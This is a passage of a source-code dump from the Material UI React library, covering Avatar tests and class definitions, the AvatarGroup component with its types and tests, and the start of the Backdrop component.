{\n      img: {\n        expectedClassName: classes.img,\n      },\n    },\n    only: ['slotsProp', 'slotPropsProp'],\n  }));\n\n  describe('image avatar', () => {\n    it('should render a div containing an img', () => {\n      const { container } = render(\n        <Avatar\n          className=\"my-avatar\"\n          src=\"/fake.png\"\n          alt=\"Hello World!\"\n          data-my-prop=\"woofAvatar\"\n        />,\n      );\n      const avatar = container.firstChild;\n      const img = avatar.firstChild;\n      expect(avatar).to.have.tagName('div');\n      expect(img).to.have.tagName('img');\n      expect(avatar).to.have.class(classes.root);\n      expect(avatar).to.have.class('my-avatar');\n      expect(avatar).to.have.attribute('data-my-prop', 'woofAvatar');\n      expect(avatar).not.to.have.class(classes.colorDefault);\n      expect(img).to.have.class(classes.img);\n      expect(img).to.have.attribute('alt', 'Hello World!');\n      expect(img).to.have.attribute('src', '/fake.png');\n    });\n\n    it('should be able to add more props to the img slot', () => {\n      const onError = spy();\n      const { container } = render(<Avatar src=\"/fake.png\" slotProps={{ img: { onError } }} />);\n      const img = container.querySelector('img');\n      fireEvent.error(img);\n      expect(onError.callCount).to.equal(1);\n    });\n\n    it('should pass slots.img to `useLoaded` hook', () => {\n      const originalImage = globalThis.Image;\n      const image = {};\n      globalThis.Image = function Image() {\n        return image;\n      };\n\n      render(<Avatar src=\"/fake.png\" slotProps={{ img: { crossOrigin: 'anonymous' } }} />);\n\n      expect(image.crossOrigin).to.equal('anonymous');\n\n      globalThis.Image = originalImage;\n    });\n  });\n\n  describe('image avatar with unrendered children', () => {\n    it('should render a div containing an img, not children', () => {\n      const { container } = render(<Avatar src=\"/fake.png\">MB</Avatar>);\n      const avatar = container.firstChild;\n      const imgs = container.querySelectorAll('img');\n      expect(imgs.length).to.equal(1);\n      expect(avatar).to.have.text('');\n    });\n  });\n\n  describe('font icon avatar', () => {\n    it('should render a div containing an font icon', () => {\n      const { container } = render(\n        <Avatar>\n          <span className=\"my-icon-font\" data-testid=\"icon\">\n            icon\n          </span>\n        </Avatar>,\n      );\n      const avatar = container.firstChild;\n      const icon = avatar.firstChild;\n\n      expect(avatar).to.have.tagName('div');\n      expect(icon).to.have.tagName('span');\n      expect(icon).to.have.class('my-icon-font');\n      expect(icon).to.have.text('icon');\n    });\n\n    it('should merge user classes & spread custom props to the root node', () => {\n      const { container } = render(\n        <Avatar className=\"my-avatar\" data-my-prop=\"woofAvatar\">\n          <span>icon</span>\n        </Avatar>,\n      );\n      const avatar = container.firstChild;\n\n      expect(avatar).to.have.class(classes.root);\n      expect(avatar).to.have.class('my-avatar');\n      expect(avatar).to.have.attribute('data-my-prop', 'woofAvatar');\n    });\n\n    it('should apply the colorDefault class', () => {\n      const { container } = render(\n        <Avatar data-testid=\"avatar\">\n          <span>icon</span>\n        </Avatar>,\n      );\n      const avatar = container.firstChild;\n\n      expect(avatar).to.have.class(classes.colorDefault);\n    });\n  });\n\n  describe('svg icon avatar', () => {\n    it('should render a div containing an svg icon', () => {\n      const container = render(\n        <Avatar>\n          <CancelIcon />\n        </Avatar>,\n      ).container;\n      const avatar = container.firstChild;\n\n      expect(avatar).to.have.tagName('div');\n      const cancelIcon = avatar.firstChild;\n      expect(cancelIcon).to.have.attribute('data-testid', 'CancelIcon');\n    });\n\n    it('should merge user classes & spread custom props to the root node', () => {\n      const container = render(\n        <Avatar className=\"my-avatar\" data-my-prop=\"woofAvatar\">\n          <CancelIcon />\n        </Avatar>,\n      ).container;\n      const avatar = container.firstChild;\n\n      expect(avatar).to.have.class(classes.root);\n      expect(avatar).to.have.class('my-avatar');\n      expect(avatar).to.have.attribute('data-my-prop', 'woofAvatar');\n    });\n\n    it('should apply the colorDefault class', () => {\n      const container = render(\n        <Avatar>\n          <CancelIcon />\n        </Avatar>,\n      ).container;\n      const avatar = container.firstChild;\n\n      expect(avatar).to.have.class(classes.colorDefault);\n    });\n  });\n\n  describe('text avatar', () => {\n    it('should render a div containing a string', () => {\n      const container = render(<Avatar>OT</Avatar>).container;\n      const avatar = container.firstChild;\n\n      expect(avatar).to.have.tagName('div');\n      expect(avatar.firstChild).to.text('OT');\n    });\n\n    it('should merge user classes & spread custom props to the root node', () => {\n      const container = render(\n        <Avatar className=\"my-avatar\" data-my-prop=\"woofAvatar\">\n          OT\n        </Avatar>,\n      ).container;\n      const avatar = container.firstChild;\n\n      expect(avatar).to.have.class(classes.root);\n      expect(avatar).to.have.class('my-avatar');\n      expect(avatar).to.have.attribute('data-my-prop', 'woofAvatar');\n    });\n\n    it('should apply the colorDefault class', () => {\n      const container = render(<Avatar>OT</Avatar>).container;\n      const avatar = container.firstChild;\n\n      expect(avatar).to.have.class(classes.colorDefault);\n    });\n  });\n\n  describe('falsey avatar', () => {\n    it('should render with defaultColor class when supplied with a child with falsey value', () => {\n      const container = render(<Avatar>{0}</Avatar>).container;\n      const avatar = container.firstChild;\n\n      expect(avatar).to.have.tagName('div');\n      expect(avatar.firstChild).to.text('0');\n    });\n\n    it('should merge user classes & spread custom props to the root node', () => {\n      const container = render(\n        <Avatar className=\"my-avatar\" data-my-prop=\"woofAvatar\">\n          {0}\n        </Avatar>,\n      ).container;\n      const avatar = container.firstChild;\n\n      expect(avatar).to.have.class(classes.root);\n      expect(avatar).to.have.class('my-avatar');\n      expect(avatar).to.have.attribute('data-my-prop', 'woofAvatar');\n    });\n\n    it('should apply the colorDefault class', () => {\n      const container = render(<Avatar>{0}</Avatar>).container;\n      const avatar = container.firstChild;\n\n      expect(avatar).to.have.class(classes.colorDefault);\n    });\n\n    it('should fallback if children is empty string', () => {\n      const container = render(<Avatar>{''}</Avatar>).container;\n      const avatar = container.firstChild;\n\n      expect(avatar.firstChild).to.have.attribute('data-testid', 'PersonIcon');\n    });\n\n    it('should fallback if children is false', () => {\n      const container = render(<Avatar>{false}</Avatar>).container;\n      const avatar = container.firstChild;\n\n      expect(avatar.firstChild).to.have.attribute('data-testid', 'PersonIcon');\n    });\n  });\n\n  it('should not throw error when ownerState is used in styleOverrides', () => {\n    const theme = createTheme({\n      components: {\n        MuiAvatar: {\n          styleOverrides: {\n            root: ({ ownerState }) => ({\n              ...(ownerState.variant === 'rounded' && {\n                color: 'red',\n              }),\n            }),\n          },\n        },\n      },\n    });\n\n    expect(() =>\n      render(\n        <ThemeProvider theme={theme}>\n          <Avatar variant=\"rounded\" />\n        </ThemeProvider>,\n      ),\n    ).not.to.throw();\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Avatar/avatarClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface AvatarClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if not `src` or `srcSet`. */\n  colorDefault: string;\n  /** Styles applied to the root element if `variant=\"circular\"`. */\n  circular: string;\n  /** Styles applied to the root element if `variant=\"rounded\"`. */\n  rounded: string;\n  /** Styles applied to the root element if `variant=\"square\"`. */\n  square: string;\n  /** Styles applied to the img element if either `src` or `srcSet` is defined. */\n  img: string;\n  /** Styles applied to the fallback icon */\n  fallback: string;\n}\n\nexport type AvatarClassKey = keyof AvatarClasses;\n\nexport function getAvatarUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiAvatar', slot);\n}\n\nconst avatarClasses: AvatarClasses = generateUtilityClasses('MuiAvatar', [\n  'root',\n  'colorDefault',\n  'circular',\n  'rounded',\n  'square',\n  'img',\n  'fallback',\n]);\n\nexport default avatarClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Avatar/index.d.ts",
    "content": "export { default } from './Avatar';\nexport * from './Avatar';\n\nexport { default as avatarClasses } from './avatarClasses';\nexport * from './avatarClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Avatar/index.js",
    "content": "export { default } from './Avatar';\n\nexport { default as avatarClasses } from './avatarClasses';\nexport * from './avatarClasses';\n"
  },
  {
    "path": "packages/mui-material/src/AvatarGroup/AvatarGroup.d.ts",
    "content": "import * as React from 'react';\nimport {\n  OverridableComponent,\n  OverridableStringUnion,\n  OverrideProps,\n  PartiallyRequired,\n} from '@mui/types';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { AvatarGroupClasses } from './avatarGroupClasses';\nimport Avatar from '../Avatar';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\n\nexport interface AvatarGroupPropsVariantOverrides {}\n\nexport interface AvatarGroupComponentsPropsOverrides {}\n\nexport interface AvatarGroupSlots {\n  surplus: React.ElementType;\n}\n\nexport type AvatarGroupSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  AvatarGroupSlots,\n  {\n    surplus: SlotProps<\n      React.ElementType<React.ComponentPropsWithRef<typeof Avatar>>,\n      AvatarGroupComponentsPropsOverrides,\n      AvatarGroupOwnerState\n    >;\n  }\n>;\nexport interface AvatarGroupOwnProps extends AvatarGroupSlotsAndSlotProps {\n  /**\n   * The avatars to stack.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<AvatarGroupClasses> | undefined;\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component?: React.ElementType | undefined;\n  /**\n   * Max avatars to show before +x.\n   * @default 5\n   */\n  max?: number | undefined;\n  /**\n   * custom renderer of extraAvatars\n   * @param {number} surplus number of extra avatars\n   * @returns {React.ReactNode} custom element to display\n   */\n  renderSurplus?: ((surplus: number) => React.ReactNode) | undefined;\n  /**\n   * Spacing between avatars.\n   * @default 'medium'\n   */\n  spacing?: 'small' | 'medium' | number | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The total number of avatars. Used for calculating the number of extra avatars.\n   * @default children.length\n   */\n  total?: number | undefined;\n  /**\n   * The variant to use.\n   * @default 'circular'\n   */\n  variant?:\n    | OverridableStringUnion<'circular' | 'rounded' | 'square', AvatarGroupPropsVariantOverrides>\n    | undefined;\n}\n\nexport interface AvatarGroupTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & AvatarGroupOwnProps;\n  defaultComponent: RootComponent;\n}\n\n/**\n *\n * Demos:\n *\n * - [Avatar](https://next.mui.com/material-ui/react-avatar/)\n *\n * API:\n *\n * - [AvatarGroup API](https://next.mui.com/material-ui/api/avatar-group/)\n */\ndeclare const AvatarGroup: OverridableComponent<AvatarGroupTypeMap>;\n\nexport type AvatarGroupProps<\n  RootComponent extends React.ElementType = AvatarGroupTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<AvatarGroupTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport interface AvatarGroupOwnerState extends PartiallyRequired<\n  AvatarGroupProps,\n  'max' | 'spacing' | 'component' | 'variant'\n> {}\n\nexport default AvatarGroup;\n"
  },
  {
    "path": "packages/mui-material/src/AvatarGroup/AvatarGroup.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { isFragment } from 'react-is';\nimport clsx from 'clsx';\nimport chainPropTypes from '@mui/utils/chainPropTypes';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport Avatar, { avatarClasses } from '../Avatar';\nimport avatarGroupClasses, { getAvatarGroupUtilityClass } from './avatarGroupClasses';\nimport useSlot from '../utils/useSlot';\n\nconst SPACINGS = {\n  small: -16,\n  medium: -8,\n};\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n    avatar: ['avatar'],\n  };\n\n  return composeClasses(slots, getAvatarGroupUtilityClass, classes);\n};\n\nconst AvatarGroupRoot = styled('div', {\n  name: 'MuiAvatarGroup',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    return [{ [`& .${avatarGroupClasses.avatar}`]: styles.avatar }, styles.root];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    display: 'flex',\n    flexDirection: 'row-reverse',\n    [`& .${avatarClasses.root}`]: {\n      border: `2px solid ${(theme.vars || theme).palette.background.default}`,\n      boxSizing: 'content-box',\n      marginLeft: 'var(--AvatarGroup-spacing, -8px)',\n      '&:last-child': {\n        marginLeft: 0,\n      },\n    },\n  })),\n);\n\nconst AvatarGroup = React.forwardRef(function AvatarGroup(inProps, ref) {\n  const props = useDefaultProps({\n    props: inProps,\n    name: 'MuiAvatarGroup',\n  });\n\n  const {\n    children: childrenProp,\n    className,\n    component = 'div',\n    max = 5,\n    renderSurplus,\n    slotProps = {},\n    slots = {},\n    spacing = 'medium',\n    total,\n    variant = 'circular',\n    ...other\n  } = props;\n  let clampedMax = max < 2 ? 2 : max;\n\n  const ownerState = {\n    ...props,\n    max,\n    spacing,\n    component,\n    variant,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const children = React.Children.toArray(childrenProp).filter((child) => {\n    if (process.env.NODE_ENV !== 'production') {\n      if (isFragment(child)) {\n        console.error(\n          [\n            \"MUI: The AvatarGroup component doesn't accept a Fragment as a child.\",\n            'Consider providing an array instead.',\n          ].join('\\n'),\n        );\n      }\n    }\n\n    return React.isValidElement(child);\n  });\n\n  const totalAvatars = total || children.length;\n\n  if (totalAvatars === clampedMax) {\n    clampedMax += 1;\n  }\n\n  clampedMax = Math.min(totalAvatars + 1, clampedMax);\n\n  const maxAvatars = Math.min(children.length, clampedMax - 1);\n  const extraAvatars = Math.max(totalAvatars - clampedMax, totalAvatars - maxAvatars, 0);\n  const extraAvatarsElement = renderSurplus ? renderSurplus(extraAvatars) : `+${extraAvatars}`;\n\n  let marginValue;\n\n  if (ownerState.spacing && SPACINGS[ownerState.spacing] !== undefined) {\n    marginValue = SPACINGS[ownerState.spacing];\n  } else if (ownerState.spacing === 0) {\n    marginValue = 0;\n  } else {\n    marginValue = -ownerState.spacing || SPACINGS.medium;\n  }\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [SurplusSlot, surplusProps] = useSlot('surplus', {\n    elementType: Avatar,\n    externalForwardedProps,\n    className: classes.avatar,\n    ownerState,\n    additionalProps: {\n      variant,\n    },\n  });\n\n  return (\n    <AvatarGroupRoot\n      as={component}\n      ownerState={ownerState}\n      className={clsx(classes.root, className)}\n      ref={ref}\n      {...other}\n      style={{\n        '--AvatarGroup-spacing': `${marginValue}px`, // marginValue is always defined\n        ...other.style,\n      }}\n    >\n      {extraAvatars ? <SurplusSlot {...surplusProps}>{extraAvatarsElement}</SurplusSlot> : null}\n      {children\n        .slice(0, maxAvatars)\n        .reverse()\n        .map((child) => {\n          return React.cloneElement(child, {\n            className: clsx(child.props.className, classes.avatar),\n            variant: child.props.variant || variant,\n          });\n        })}\n    </AvatarGroupRoot>\n  );\n});\n\nAvatarGroup.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The avatars to stack.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * Max avatars to show before +x.\n   * @default 5\n   */\n  max: chainPropTypes(PropTypes.number, (props) => {\n    if (props.max < 2) {\n      return new Error(\n        [\n          'MUI: The prop `max` should be equal to 2 or above.',\n          'A value below is clamped to 2.',\n        ].join('\\n'),\n      );\n    }\n\n    return null;\n  }),\n  /**\n   * custom renderer of extraAvatars\n   * @param {number} surplus number of extra avatars\n   * @returns {React.ReactNode} custom element to display\n   */\n  renderSurplus: PropTypes.func,\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    surplus: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    surplus: PropTypes.elementType,\n  }),\n  /**\n   * Spacing between avatars.\n   * @default 'medium'\n   */\n  spacing: PropTypes.oneOfType([PropTypes.oneOf(['medium', 'small']), PropTypes.number]),\n  /**\n   * @ignore\n   */\n  style: PropTypes.object,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The total number of avatars. Used for calculating the number of extra avatars.\n   * @default children.length\n   */\n  total: PropTypes.number,\n  /**\n   * The variant to use.\n   * @default 'circular'\n   */\n  variant: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['circular', 'rounded', 'square']),\n    PropTypes.string,\n  ]),\n};\n\nexport default AvatarGroup;\n"
  },
  {
    "path": "packages/mui-material/src/AvatarGroup/AvatarGroup.spec.tsx",
    "content": "import { expectType } from '@mui/types';\nimport AvatarGroup from '@mui/material/AvatarGroup';\n\n<AvatarGroup component=\"ul\" />;\n<AvatarGroup variant=\"circular\" />;\n<AvatarGroup variant=\"rounded\" />;\n<AvatarGroup variant=\"square\" />;\n\n// @ts-expect-error\n<AvatarGroup variant=\"unknown\" />;\n\n<AvatarGroup\n  renderSurplus={(surplus) => {\n    expectType<number, number>(surplus);\n    return <div>{surplus}</div>;\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-material/src/AvatarGroup/AvatarGroup.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport Avatar from '@mui/material/Avatar';\nimport AvatarGroup, { avatarGroupClasses as classes } from '@mui/material/AvatarGroup';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<AvatarGroup />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(\n    <AvatarGroup max={2}>\n      <Avatar src=\"/fake.png\" />\n      <Avatar src=\"/fake.png\" />\n      <Avatar src=\"/fake.png\" />\n    </AvatarGroup>,\n    () => ({\n      classes,\n      inheritComponent: 'div',\n      render,\n      muiName: 'MuiAvatarGroup',\n      refInstanceof: window.HTMLDivElement,\n      testVariantProps: { max: 10, spacing: 'small', variant: 'square' },\n      slots: {\n        surplus: { expectedClassName: classes.avatar },\n      },\n    }),\n  );\n\n  it('should render avatars with spacing of 0px when spacing is 0', () => {\n    const { container } = render(\n      <AvatarGroup spacing={0}>\n        <Avatar src=\"/fake.png\" />\n        <Avatar src=\"/fake.png\" />\n        <Avatar src=\"/fake.png\" />\n      </AvatarGroup>,\n    );\n\n    const avatarGroupRoot = container.firstChild;\n    const avatarGroupStyle = avatarGroupRoot.style.getPropertyValue('--AvatarGroup-spacing');\n\n    expect(avatarGroupStyle).to.equal('0px');\n  });\n\n  it('should display all the avatars', () => {\n    const { container } = render(\n      <AvatarGroup max={3}>\n        <Avatar src=\"/fake.png\" />\n        <Avatar src=\"/fake.png\" />\n        <Avatar src=\"/fake.png\" />\n      </AvatarGroup>,\n    );\n    expect(container.querySelectorAll('.MuiAvatar-root').length).to.equal(3);\n    expect(container.querySelectorAll('img').length).to.equal(3);\n    expect(container.textContent).to.equal('');\n  });\n\n  it('should display 2 avatars and \"+2\"', () => {\n    const { container } = render(\n      <AvatarGroup max={3}>\n        <Avatar src=\"/fake.png\" />\n        <Avatar src=\"/fake.png\" />\n        <Avatar src=\"/fake.png\" />\n        <Avatar src=\"/fake.png\" />\n      </AvatarGroup>,\n    );\n    expect(container.querySelectorAll('.MuiAvatar-root').length).to.equal(3);\n    expect(container.querySelectorAll('img').length).to.equal(2);\n    expect(container.textContent).to.equal('+2');\n  });\n\n  it('should display custom surplus element if renderSurplus prop is passed', () => {\n    const { container } = render(\n      <AvatarGroup renderSurplus={(num) => <span>%{num}</span>} max={3}>\n        <Avatar src=\"/fake.png\" />\n        <Avatar src=\"/fake.png\" />\n        <Avatar src=\"/fake.png\" />\n        <Avatar src=\"/fake.png\" />\n      </AvatarGroup>,\n    );\n    expect(container.textContent).to.equal('%2');\n  });\n\n  it('should respect total', () => {\n    const { container } = render(\n      <AvatarGroup total={10}>\n        <Avatar src=\"/fake.png\" />\n        <Avatar src=\"/fake.png\" />\n        <Avatar src=\"/fake.png\" />\n      </AvatarGroup>,\n    );\n    expect(container.querySelectorAll('.MuiAvatar-root').length).to.equal(4);\n    expect(container.querySelectorAll('img').length).to.equal(3);\n    expect(container.textContent).to.equal('+7');\n  });\n\n  it('should respect both total and max', () => {\n    const { container } = render(\n      <AvatarGroup max={2} total={3}>\n        <Avatar src=\"/fake.png\" />\n        <Avatar src=\"/fake.png\" />\n      </AvatarGroup>,\n    );\n    expect(container.querySelectorAll('.MuiAvatar-root').length).to.equal(2);\n    expect(container.querySelectorAll('img').length).to.equal(1);\n    expect(container.textContent).to.equal('+2');\n  });\n\n  it('should respect total and clamp down shown avatars', () => {\n    const { container } = render(\n      <AvatarGroup total={1}>\n        <Avatar src=\"/fake.png\" />\n        <Avatar src=\"/fake.png\" />\n      </AvatarGroup>,\n    );\n    expect(container.querySelectorAll('.MuiAvatar-root').length).to.equal(1);\n    expect(container.querySelectorAll('img').length).to.equal(1);\n    expect(container.textContent).to.equal('');\n  });\n\n  it('should display extra if clamp max is >= total', () => {\n    const { container } = render(\n      <AvatarGroup total={10} max={10}>\n        <Avatar src=\"/fake.png\" />\n        <Avatar src=\"/fake.png\" />\n      </AvatarGroup>,\n    );\n    expect(container.querySelectorAll('.MuiAvatar-root').length).to.equal(3);\n    expect(container.querySelectorAll('img').length).to.equal(2);\n    expect(container.textContent).to.equal('+8');\n  });\n\n  it('should display all avatars if total === max === children.length', () => {\n    const { container } = render(\n      <AvatarGroup total={4} max={4}>\n        <Avatar src=\"/fake.png\" />\n        <Avatar src=\"/fake.png\" />\n        <Avatar src=\"/fake.png\" />\n        <Avatar src=\"/fake.png\" />\n      </AvatarGroup>,\n    );\n    expect(container.querySelectorAll('.MuiAvatar-root').length).to.equal(4);\n    expect(container.querySelectorAll('img').length).to.equal(4);\n    expect(container.textContent).to.equal('');\n  });\n\n  it('should display all avatars with default (circular) variant', () => {\n    const { container } = render(\n      <AvatarGroup>\n        <Avatar src=\"/fake.png\" />\n      </AvatarGroup>,\n    );\n    const avatarGroup = container.firstChild;\n    const avatar = avatarGroup.firstChild;\n    expect(container.querySelectorAll('.MuiAvatar-root').length).to.equal(\n      avatarGroup.childNodes.length,\n    );\n    expect(avatar).to.have.class('MuiAvatar-circular');\n    expect(avatar).not.to.have.class('MuiAvatar-rounded');\n    expect(avatar).not.to.have.class('MuiAvatar-square');\n  });\n\n  it('should display all avatars with the specified variant', () => {\n    const { container } = render(\n      <AvatarGroup variant=\"square\">\n        <Avatar src=\"/fake.png\" />\n      </AvatarGroup>,\n    );\n    const avatarGroup = container.firstChild;\n    const avatar = avatarGroup.firstChild;\n    expect(container.querySelectorAll('.MuiAvatar-root').length).to.equal(\n      avatarGroup.childNodes.length,\n    );\n    expect(avatar).to.have.class('MuiAvatar-square');\n    expect(avatar).not.to.have.class('MuiAvatar-circular');\n    expect(avatar).not.to.have.class('MuiAvatar-rounded');\n  });\n\n  it(\"should respect child's avatar variant prop if specified\", () => {\n    const { container } = render(\n      <AvatarGroup variant=\"square\">\n        <Avatar src=\"/fake.png\" variant=\"rounded\" />\n      </AvatarGroup>,\n    );\n    const avatarGroup = container.firstChild;\n    const roundedAvatar = avatarGroup.firstChild;\n    expect(roundedAvatar).to.have.class('MuiAvatar-rounded');\n    expect(roundedAvatar).not.to.have.class('MuiAvatar-circular');\n    expect(roundedAvatar).not.to.have.class('MuiAvatar-square');\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/AvatarGroup/avatarGroupClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface AvatarGroupClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the avatar elements. */\n  avatar: string;\n}\n\nexport type AvatarGroupClassKey = keyof AvatarGroupClasses;\n\nexport function getAvatarGroupUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiAvatarGroup', slot);\n}\n\nconst avatarGroupClasses: AvatarGroupClasses = generateUtilityClasses('MuiAvatarGroup', [\n  'root',\n  'avatar',\n]);\n\nexport default avatarGroupClasses;\n"
  },
  {
    "path": "packages/mui-material/src/AvatarGroup/index.d.ts",
    "content": "export { default } from './AvatarGroup';\nexport * from './AvatarGroup';\nexport { default as avatarGroupClasses } from './avatarGroupClasses';\nexport * from './avatarGroupClasses';\n"
  },
  {
    "path": "packages/mui-material/src/AvatarGroup/index.js",
    "content": "export { default } from './AvatarGroup';\nexport { default as avatarGroupClasses } from './avatarGroupClasses';\nexport * from './avatarGroupClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Backdrop/Backdrop.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { FadeProps } from '../Fade';\nimport { TransitionProps } from '../transitions/transition';\nimport { Theme } from '../styles';\nimport { BackdropClasses } from './backdropClasses';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { CreateSlotsAndSlotProps, SlotComponentProps, SlotProps } from '../utils/types';\n\nexport interface BackdropSlots {\n  /**\n   * The component that renders the root.\n   * @default 'div'\n   */\n  root: React.ElementType;\n  /**\n   * The component that renders the transition.\n   * [Follow this guide](https://mui.com/material-ui/transitions/#transitioncomponent-prop) to learn more about the requirements for this component.\n   * @default Fade\n   */\n  transition: React.ElementType;\n}\nexport interface BackdropComponentsPropsOverrides {}\n\nexport interface BackdropTransitionSlotPropsOverrides {}\n\nexport type BackdropSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  BackdropSlots,\n  {\n    /**\n     * Props forwarded to the transition slot.\n     * By default, the available props are based on the div element.\n     */\n    root: SlotProps<'div', BackdropComponentsPropsOverrides, BackdropOwnerState>;\n    /**\n     * Props forwarded to the transition slot.\n     * By default, the available props are based on the [Fade](https://mui.com/material-ui/api/fade/#props) component.\n     */\n    transition: SlotComponentProps<\n      React.ElementType<TransitionProps>,\n      TransitionProps & BackdropTransitionSlotPropsOverrides,\n      BackdropOwnerState\n    >;\n  }\n>;\n\nexport interface BackdropOwnProps\n  extends Partial<Omit<FadeProps, 'children'>>, BackdropSlotsAndSlotProps {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<BackdropClasses> | undefined;\n  /**\n   * If `true`, the backdrop is invisible.\n   * It can be used when rendering a popover or a custom select component.\n   * @default false\n   */\n  invisible?: boolean | undefined;\n  /**\n   * If `true`, the component is shown.\n   */\n  open: boolean;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The duration for the transition, in milliseconds.\n   * You may specify a single timeout for all transitions, or individually with an object.\n   */\n  transitionDuration?: TransitionProps['timeout'] | undefined;\n}\n\nexport interface BackdropTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & BackdropOwnProps;\n  defaultComponent: RootComponent;\n}\n\ntype BackdropRootProps = React.HTMLAttributes<HTMLDivElement> & BackdropComponentsPropsOverrides;\n\nexport declare const BackdropRoot: React.FC<BackdropRootProps>;\n\n/**\n *\n * Demos:\n *\n * - [Backdrop](https://next.mui.com/material-ui/react-backdrop/)\n *\n * API:\n *\n * - [Backdrop API](https://next.mui.com/material-ui/api/backdrop/)\n * - inherits [Fade API](https://next.mui.com/material-ui/api/fade/)\n */\ndeclare const Backdrop: OverridableComponent<BackdropTypeMap>;\n\nexport type BackdropProps<\n  RootComponent extends React.ElementType = BackdropTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<BackdropTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport interface BackdropOwnerState extends BackdropProps {}\n\nexport default Backdrop;\n"
  },
  {
    "path": "packages/mui-material/src/Backdrop/Backdrop.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport useSlot from '../utils/useSlot';\nimport Fade from '../Fade';\nimport { getBackdropUtilityClass } from './backdropClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, invisible } = ownerState;\n\n  const slots = {\n    root: ['root', invisible && 'invisible'],\n  };\n\n  return composeClasses(slots, getBackdropUtilityClass, classes);\n};\n\nconst BackdropRoot = styled('div', {\n  name: 'MuiBackdrop',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, ownerState.invisible && styles.invisible];\n  },\n})({\n  position: 'fixed',\n  display: 'flex',\n  alignItems: 'center',\n  justifyContent: 'center',\n  right: 0,\n  bottom: 0,\n  top: 0,\n  left: 0,\n  backgroundColor: 'rgba(0, 0, 0, 0.5)',\n  WebkitTapHighlightColor: 'transparent',\n  variants: [\n    {\n      props: { invisible: true },\n      style: {\n        backgroundColor: 'transparent',\n      },\n    },\n  ],\n});\n\nconst Backdrop = React.forwardRef(function Backdrop(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 